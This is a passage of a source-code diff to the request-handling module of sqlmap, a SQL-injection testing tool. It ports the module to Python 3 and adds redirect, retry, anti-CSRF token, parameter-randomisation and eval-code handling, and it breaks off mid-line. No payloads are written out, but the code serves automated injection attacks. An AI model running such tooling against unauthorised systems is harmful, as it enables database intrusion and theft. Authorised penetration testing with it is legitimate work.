responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling) status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None kb.connErrorCounter = 0 @@ -525,12 +709,18 @@ class _(dict): debugMsg = "got HTML meta refresh header" logger.debug(debugMsg) + if not refresh: + refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page) + + if refresh: + debugMsg = "got Javascript redirect logic" + logger.debug(debugMsg) + if refresh: if kb.alwaysRefresh is None: - msg = "sqlmap got a refresh request " - msg += "(redirect like response common to login pages). " - msg += "Do you want to apply the refresh " - msg += "from now on (or stay on the original page)? [Y/n]" + msg = "got a refresh intent " + msg += "(redirect like response common to login pages) to '%s'. " % refresh + msg += "Do you want to apply it from now on? [Y/n]" kb.alwaysRefresh = readInput(msg, default='Y', boolean=True) @@ -538,7 +728,7 @@ class _(dict): if re.search(r"\Ahttps?://", refresh, re.I): url = refresh else: - url = urlparse.urljoin(url, refresh) + url = _urllib.parse.urljoin(url, refresh) threadData.lastRedirectMsg = (threadData.lastRequestUID, page) kwargs["refreshing"] = True @@ -554,23 +744,23 @@ class _(dict): # Explicit closing of connection object if conn and not conf.keepAlive: try: - if hasattr(conn.fp, '_sock'): + if hasattr(conn, "fp") and hasattr(conn.fp, '_sock'): conn.fp._sock.close() conn.close() except Exception as ex: warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) - logger.warn(warnMsg) + logger.warning(warnMsg) except SqlmapConnectionException as ex: if conf.proxyList and not kb.threadException: - warnMsg = "unable to connect to the target URL ('%s')" % ex + warnMsg = "unable to connect to the target URL ('%s')" % getSafeExString(ex) logger.critical(warnMsg) threadData.retriesCount = conf.retries return Connect._retryProxy(**kwargs) else: raise - except urllib2.HTTPError as ex: + except _urllib.error.HTTPError as ex: page = None responseHeaders = None @@ -581,21 +771,22 @@ class _(dict): page = ex.read() if not skipRead else None responseHeaders = ex.info() responseHeaders[URI_HTTP_HEADER] = ex.geturl() - page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) + responseHeaders = patchHeaders(responseHeaders) + page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling) except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % ex.code - logger.warn(warnMsg) + logger.warning(warnMsg) return None, None, None except KeyboardInterrupt: raise except: pass finally: - page = page if isinstance(page, unicode) else getUnicode(page) + page = getUnicode(page) code = ex.code - status = getSafeExString(ex) + status = getUnicode(getattr(ex, "reason", None) or getSafeExString(ex).split(": ", 1)[-1]) kb.originalCode = kb.originalCode or code threadData.lastHTTPError = (threadData.lastRequestUID, code, status) @@ -603,38 +794,55 @@ class _(dict): responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) - if responseHeaders: - logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) + if responseHeaders and getattr(responseHeaders, "headers", None): + logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() - logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time()) + logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) skipLogTraffic = True if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: - responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) + responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]) if not multipart: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - if ex.code != conf.ignoreCode: - if ex.code == httplib.UNAUTHORIZED: + if code in conf.abortCode: + errMsg = "aborting due to detected HTTP code '%d'" % code + singleTimeLogMessage(errMsg, logging.CRITICAL) + raise SystemExit + + if ex.code not in (conf.ignoreCode or []): + if ex.code == _http_client.UNAUTHORIZED: errMsg = "not authorized, try to provide right HTTP " - errMsg += "authentication type and valid credentials (%d)" % code + errMsg += "authentication type and valid credentials (%d). " % code + errMsg += "If this is intended, try to rerun by providing " + errMsg += "a valid value for option '--ignore-code'" raise SqlmapConnectionException(errMsg) - elif ex.code == httplib.NOT_FOUND: + elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED): + warnMsg = "turning off HTTP chunked transfer encoding " + warnMsg += "as it seems that the target site doesn't support it (%d)" % code + singleTimeWarnMessage(warnMsg) + conf.chunked = kwargs["chunked"] = False + return Connect.getPage(**kwargs) + elif ex.code == _http_client.REQUEST_URI_TOO_LONG: + warnMsg = "request URI is marked as too long by the target. " + warnMsg += "you are advised to try a switch '--no-cast' and/or '--no-escape'" + singleTimeWarnMessage(warnMsg) + elif ex.code == _http_client.NOT_FOUND: if raise404: errMsg = "page not found (%d)" % code raise SqlmapConnectionException(errMsg) else: debugMsg = "page not found (%d)" % code singleTimeLogMessage(debugMsg, logging.DEBUG) - elif ex.code == httplib.GATEWAY_TIMEOUT: + elif ex.code == _http_client.GATEWAY_TIMEOUT: if ignoreTimeout: return None if not conf.ignoreTimeouts else "", None, None else: - warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code]) + warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, _http_client.responses[ex.code]) if threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" logger.critical(warnMsg) @@ -645,18 +853,31 @@ class _(dict): else: raise SqlmapConnectionException(warnMsg) else: - debugMsg = "got HTTP error code: %d (%s)" % (code, status) + debugMsg = "got HTTP error code: %d ('%s')" % (code, status) logger.debug(debugMsg) - except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError): + except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError): tbMsg = traceback.format_exc() + if conf.debug: + dataToStdout(tbMsg) + if checking: return None, None, None + elif "KeyError:" in tbMsg: + if "content-length" in tbMsg: + return None, None, None + else: + raise + elif "AttributeError:" in tbMsg: + if "WSAECONNREFUSED" in tbMsg: + return None, None, None + else: + raise elif "no host given" in tbMsg: warnMsg = "invalid URL address used (%s)" % repr(url) raise SqlmapSyntaxException(warnMsg) - elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg: + elif any(_ in tbMsg for _ in ("forcibly closed", "Connection is already closed", "ConnectionAbortedError")): warnMsg = "connection was forcibly closed by the target URL" elif "timed out" in tbMsg: if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): @@ -674,7 +895,7 @@ class _(dict): warnMsg = "connection reset to the target URL" elif "URLError" in tbMsg or "error" in tbMsg: warnMsg = "unable to connect to the target URL" - match = re.search(r"Errno \d+\] ([^>]+)", tbMsg) + match = re.search(r"Errno \d+\] ([^>\n]+)", tbMsg) if match: warnMsg += " ('%s')" % match.group(1).strip() elif "NTLM" in tbMsg: @@ -709,20 +930,19 @@ class _(dict): with kb.locks.connError: kb.connErrorCounter += 1 - if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None: + if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None: message = "there seems to be a continuous problem with connection to the target. " - message += "Are you sure that you want to continue " - message += "with further target testing? [y/N] " + message += "Are you sure that you want to continue? [y/N] " - kb.connErrorChoice = readInput(message, default='N', boolean=True) + kb.choices.connError = readInput(message, default='N', boolean=True) - if kb.connErrorChoice is False: - raise SqlmapConnectionException(warnMsg) + if kb.choices.connError is False: + raise SqlmapSkipTargetException if "forcibly closed" in tbMsg: logger.critical(warnMsg) return None, None, None - elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")): + elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead", "Interrupted system call")): return None if not conf.ignoreTimeouts else "", None, None elif threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" @@ -732,55 +952,81 @@ class _(dict): else: logger.debug(warnMsg) return Connect._retryProxy(**kwargs) - elif kb.testMode or isMultiThreadMode(): + elif kb.testMode or kb.multiThreadMode: logger.critical(warnMsg) return None, None, None else: raise SqlmapConnectionException(warnMsg) finally: - if isinstance(page, basestring) and not isinstance(page, unicode): + for function in kb.postprocessFunctions: + try: + page, responseHeaders, code = function(page, responseHeaders, code) + except Exception as ex: + errMsg = "error occurred while running postprocess " + errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) + raise SqlmapGenericException(errMsg) + + if isinstance(page, six.binary_type): if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): - page = unicode(page, errors="ignore") + page = six.text_type(page, errors="ignore") else: page = getUnicode(page) - socket.setdefaulttimeout(conf.timeout) - processResponse(page, responseHeaders, status) + for _ in (getattr(conn, "redcode", None), code): + if _ is not None and _ in conf.abortCode: + errMsg = "aborting due to detected HTTP code '%d'" % _ + singleTimeLogMessage(errMsg, logging.CRITICAL) + raise SystemExit - if conn and getattr(conn, "redurl", None): - _ = urlparse.urlsplit(conn.redurl) - _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) - requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) + threadData.lastPage = page + threadData.lastCode = code - if kb.resendPostOnRedirect is False: - requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg) - requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg) - requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg) + socket.setdefaulttimeout(conf.timeout) - responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status) - else: - responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) + # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091) + if not sys.version.startswith("3.11."): + if conf.retryOn and re.search(conf.retryOn, page, re.I): + if threadData.retriesCount < conf.retries: + warnMsg = "forced retry of the request because of undesired page content" + logger.warning(warnMsg) + return Connect._retryProxy(**kwargs) - if responseHeaders: - logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) + processResponse(page, responseHeaders, code, status) if not skipLogTraffic: - logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time()) + if conn and getattr(conn, "redurl", None): + _ = _urllib.parse.urlsplit(conn.redurl) + _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) + requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) + + if kb.resendPostOnRedirect is False: + requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg) + requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg) + requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg) + + responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, conn.code, status) + elif "\n" not in responseMsg: + responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) + + if responseHeaders: + logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() - if conf.verbose <= 5: - responseMsg += getUnicode(logHeaders) - elif conf.verbose > 5: - responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) + logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) - if not multipart: - logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + if conf.verbose <= 5: + responseMsg += getUnicode(logHeaders) + elif conf.verbose > 5: + responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]) + + if not multipart: + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) return page, responseHeaders, code @staticmethod @stackedmethod - def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False): + def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False): """ This method calls a function to get the target URL page content and returns its page ratio (0 <= ratio <= 1) or a boolean value @@ -804,6 +1050,8 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if not place: place = kb.injection.place or PLACE.GET + kb.place = place + if not auxHeaders: auxHeaders = {} @@ -818,13 +1066,16 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if conf.httpHeaders: headers = OrderedDict(conf.httpHeaders) - contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers) + contentType = max(headers[_] or "" if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else "" for _ in headers) or None if (kb.postHint or conf.skipUrlEncode) and postUrlEncode: postUrlEncode = False - conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] - contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) - conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) + if not (conf.skipUrlEncode and contentType): # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5092 + conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] + contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) + conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) + if "urlencoded" in contentType: + postUrlEncode = True if payload: delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) @@ -837,11 +1088,11 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints) except Exception as ex: errMsg = "error occurred while running tamper " - errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) + errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) - if not isinstance(payload, basestring): - errMsg = "tamper function '%s' returns " % function.func_name + if not isinstance(payload, six.string_types): + errMsg = "tamper function '%s' returns " % function.__name__ errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) @@ -865,7 +1116,9 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts - payload = payload.replace('>', ">").replace('<', "<") + payload = payload.replace("&#", SAFE_HEX_MARKER) + payload = payload.replace('&', "&").replace('>', ">").replace('<', "<").replace('"', """).replace("'", "'") # Reference: https://stackoverflow.com/a/1091953 + payload = payload.replace(SAFE_HEX_MARKER, "&#") elif kb.postHint == POST_HINT.JSON: payload = escapeJsonValue(payload) elif kb.postHint == POST_HINT.JSON_LIKE: @@ -879,10 +1132,10 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent skip = False if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper(): - if kb.cookieEncodeChoice is None: + if kb.choices.cookieEncode is None: msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282 - kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True) - if not kb.cookieEncodeChoice: + kb.choices.cookieEncode = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True) + if not kb.choices.cookieEncode: skip = True if not skip: @@ -963,74 +1216,96 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1] if conf.csrfToken: + token = AttribDict() + def _adjustParameter(paramString, parameter, newValue): retVal = paramString + + if urlencode(parameter) in paramString: + parameter = urlencode(parameter) + match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I) if match: - retVal = re.sub("(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) + retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) else: - match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I) + match = re.search(r"(%s[\"']\s*:\s*[\"'])([^\"']*)" % re.escape(parameter), paramString, re.I) if match: - retVal = re.sub("(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) + retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) + return retVal - token = AttribDict() - page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) - match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I) + for attempt in xrange(conf.csrfRetries + 1): + if token: + break + + if attempt > 0: + warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) + warnMsg += ". sqlmap is going to retry the request" + logger.warning(warnMsg) - if not match: - match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I) + page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, post=conf.csrfData or (conf.data if conf.csrfUrl == conf.url and (conf.csrfMethod or "").upper() == HTTPMETHOD.POST else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') + + match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I) if not match: - match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I) + match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I) if not match: - match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I) + match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I) if not match: - match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I) + match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, getUnicode(headers), re.I) + + if not match: + match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I) - if match: - token.name, token.value = match.group("name"), match.group("value") + if not match: + match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I) - match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value) if match: - token.value = "".join(chr(int(_)) for _ in match.group(1).replace(' ', "").split(',')) + token.name, token.value = match.group("name"), match.group("value") - if not token: - if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == httplib.OK: - if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): - token.name = conf.csrfToken - token.value = page - - if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj): - for _ in conf.cj: - if re.search(conf.csrfToken, _.name, re.I): - token.name, token.value = _.name, _.value - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): - if post: - post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) - elif get: - get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) - else: - get = "%s=%s" % (token.name, token.value) - break + match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value) + if match: + token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(',')) if not token: - errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) - if not conf.csrfUrl: - errMsg += ". You can try to rerun by providing " - errMsg += "a valid value for option '--csrf-url'" - raise SqlmapTokenException(errMsg) + if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK: + if headers and PLAIN_TEXT_CONTENT_TYPE in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): + token.name = conf.csrfToken + token.value = page + + if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj): + for _ in conf.cj: + if re.search(conf.csrfToken, _.name, re.I): + token.name, token.value = _.name, _.value + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): + if post: + post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) + elif get: + get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) + else: + get = "%s=%s" % (token.name, token.value) + break + + if not token: + errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) + if not conf.csrfUrl: + errMsg += ". You can try to rerun by providing " + errMsg += "a valid value for option '--csrf-url'" + raise SqlmapTokenException(errMsg) if token: token.value = token.value.strip("'\"") - for place in (PLACE.GET, PLACE.POST): - if place in conf.parameters: - if place == PLACE.GET and get: + for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI): + if candidate in conf.parameters: + if candidate == PLACE.URI and uri: + uri = _adjustParameter(uri, token.name, token.value) + elif candidate == PLACE.GET and get: get = _adjustParameter(get, token.name, token.value) - elif place == PLACE.POST and post: + elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post: post = _adjustParameter(post, token.name, token.value) for i in xrange(len(conf.httpHeaders)): @@ -1040,10 +1315,17 @@ def _adjustParameter(paramString, parameter, newValue): if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString - match = re.search(r"(\A|\b)%s=(?P<value>[^&;]+)" % re.escape(randomParameter), paramString) + match = re.search(r"(\A|\b)%s=(?P<value>[^&;]*)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") - retVal = re.sub(r"(\A|\b)%s=[^&;]+" % re.escape(randomParameter), "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) + newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] + retVal = re.sub(r"(\A|\b)%s=[^&;]*" % re.escape(randomParameter), "%s=%s" % (randomParameter, newValue), paramString) + else: + match = re.search(r"(\A|\b)(%s\b[^\w]+)(?P<value>\w+)" % re.escape(randomParameter), paramString) + if match: + origValue = match.group("value") + newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] + retVal = paramString.replace(match.group(0), "%s%s" % (match.group(2), newValue)) return retVal for randomParameter in conf.rParam: @@ -1060,16 +1342,15 @@ def _randomizeParameter(paramString, randomParameter): if conf.evalCode: delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER - variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals()} + variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals(), "cookie": cookie} originals = {} - keywords = keyword.kwlist if not get and PLACE.URI in conf.parameters: - query = urlparse.urlsplit(uri).query or "" + query = _urllib.parse.urlsplit(uri).query or "" else: query = None - for item in filter(None, (get, post if not kb.postHint else None, query)): + for item in filterNone((get, post if not kb.postHint else None, query)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) @@ -1077,11 +1358,16 @@ def _randomizeParameter(paramString, randomParameter): if safeVariableNaming(name) != name: conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) name = safeVariableNaming(name) - elif name in keywords: - name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus)) variables[name] = value + if post and kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + for name, value in (parseJson(post) or {}).items(): + if safeVariableNaming(name) != name: + conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) + name = safeVariableNaming(name) + variables[name] = value + if cookie: for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER): if '=' in part: @@ -1090,31 +1376,29 @@ def _randomizeParameter(paramString, randomParameter): if safeVariableNaming(name) != name: conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) name = safeVariableNaming(name) - elif name in keywords: - name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) value = urldecode(value, convall=True) variables[name] = value while True: try: - compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n'))) + compile(getBytes(re.sub(r"\s*;\s*", "\n", conf.evalCode)), "", "exec") except SyntaxError as ex: if ex.text: - original = replacement = ex.text.strip() + original = replacement = getUnicode(ex.text.strip()) + if '=' in original: name, value = original.split('=', 1) name = name.strip() if safeVariableNaming(name) != name: replacement = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), replacement) - elif name in keywords: - replacement = re.sub(r"\b%s\b" % re.escape(name), "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX), replacement) else: for _ in re.findall(r"[A-Za-z_]+", original)[::-1]: - if _ in keywords: - replacement = replacement.replace(_, "%s%s" % (_, EVALCODE_KEYWORD_SUFFIX)) + if safeVariableNaming(_) != _: + replacement = replacement.replace(_, safeVariableNaming(_)) break + if original == replacement: - conf.evalCode = conf.evalCode.replace(EVALCODE_KEYWORD_SUFFIX, "") + conf.evalCode = conf.evalCode.replace(EVALCODE_ENCODED_PREFIX, "") break else: conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement) @@ -1127,63 +1411,96 @@ def _randomizeParameter(paramString, randomParameter): evaluateCode(conf.evalCode, variables) for variable in list(variables.keys()): - if variable.endswith(EVALCODE_KEYWORD_SUFFIX): - value = variables[variable] - del variables[variable] - variables[variable.replace(EVALCODE_KEYWORD_SUFFIX, "")] = value - if unsafeVariableNaming(variable) != variable: - value = variables[variable] + entry = variables[variable] del variables[variable] - variables[unsafeVariableNaming(variable)] = value + variables[unsafeVariableNaming(variable)] = entry uri = variables["uri"] + cookie = variables["cookie"] - for name, value in variables.items(): - if name != "__builtins__" and originals.get(name, "") != value: - if isinstance(value, (basestring, int)): + for name, entry in variables.items(): + if name != "__builtins__" and originals.get(name, "") != entry: + if isinstance(entry, (int, float, six.string_types, six.binary_type)): found = False - value = getUnicode(value, UNICODE_ENCODING) - - if kb.postHint and re.search(r"\b%s\b" % re.escape(name), post or ""): + entry = getUnicode(entry, UNICODE_ENCODING) + + if kb.postHint == POST_HINT.MULTIPART: + boundary = "--%s" % re.search(r"boundary=([^\s]+)", contentType).group(1) + if boundary: + parts = post.split(boundary) + match = re.search(r'\bname="%s"' % re.escape(name), post) + if not match and parts: + parts.insert(2, parts[1]) + parts[2] = re.sub(r'\bname="[^"]+".*', 'name="%s"' % re.escape(name), parts[2]) + for i in xrange(len(parts)): + part = parts[i] + if re.search(r'\bname="%s"' % re.escape(name), part): + match = 